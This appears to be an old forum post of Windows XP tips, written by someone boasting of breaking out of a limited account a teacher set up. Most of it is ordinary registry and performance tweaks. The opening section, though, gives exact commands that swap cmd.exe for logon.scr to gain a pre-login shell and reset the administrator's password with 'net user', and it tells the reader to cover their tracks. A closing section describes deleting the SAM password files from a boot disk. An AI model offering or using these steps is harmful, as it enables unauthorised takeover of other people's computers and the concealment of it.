**Now Its all Here for The majority of my “LIMITED ACCOUNT User” friends in WinX**

I was just fed up of my teacher for creating me in a limited account user I was determined to break it and now its all for you.....

N JOY ;-)

There are some more valuable information that you will find awesome !!!

---

Reply me on my link of e-mail by just pressing Ctrl followed by a click through outlook express (for primitive users) or copy the link in your mail account and compose the message(for quite advanced users)

---

## How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt  
then enter this set of commands Exactly:

```
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backup logon.scr
copy cmd.exe temphack\cmd.exe *backup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
```

Now what you have just done is told the computer to backup the command program  
and the screen saver file, then edits the settings so when the machine boots  
the  
screen saver you will get an unprotected dos prompt with out logging into  
XP.

Once this happens if you enter this command minus the quotes

```
"net user <admin account name here> password"
```

If the Administrator Account is called Amit and you want the password  
blahblah enter this

```
"net user Amit blahblah"
```

and this changes the password on Amit's machine to blahblah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

---

## Registry Hacking

Display legal notice on startup:

Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.

REGEDIT

[HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]

"legalnoticecaption"="enter your notice caption"

"legalnoticetext"="enter your legal notice text"

---

## Automatic Administrator Login:

Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.

REGEDIT 4

[HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"AutoAdminLogon"="1"

---

## No Shutdown:

Wanna play with your friends by removing the shutdown option from start menu in their computer.

Just hack it down !!!

Regedit

HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Explorer

"NoClose"="DWORD:1"

---

## Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY\_CURRENT\_USER\Control Panel\Desktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay (well gpedit.msc is the ultimate WinX configuration tool sneak-peek through it you will get to know damn cool tweaks of WinX n Vista)

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative

Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

---

## Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

```
[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7
```

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells

Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

```
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
```

To this:

```
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7
```

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

---

## **Automatically Kill Programs At Shutdown:**

Don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY\_CURRENT\_USER\Control Panel\Desktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

---

## **Speeding Up Share Viewing:**

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\Current Version\Explorer\RemoteComputer\NameSpace in the Registry. Below that,

there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

---

## Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don't want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: `rundll32.exe user32.dll,LockWorkStation`. Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in `shell32.dll`). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: `Shell32.dll`. Click OK. Select one of the icons from the list and then click OK. You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> `cmd`) and type `sfc`, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

---

## Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but a friend has promised a fix as soon as XP is released.

---

## Another way ...

Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOG files ( in sytem32/config folder ). Note: don't delete SAM.exe.

---

Note - I am not responsible for any damage but sugesstions are welcomed for more tweaks and improvement
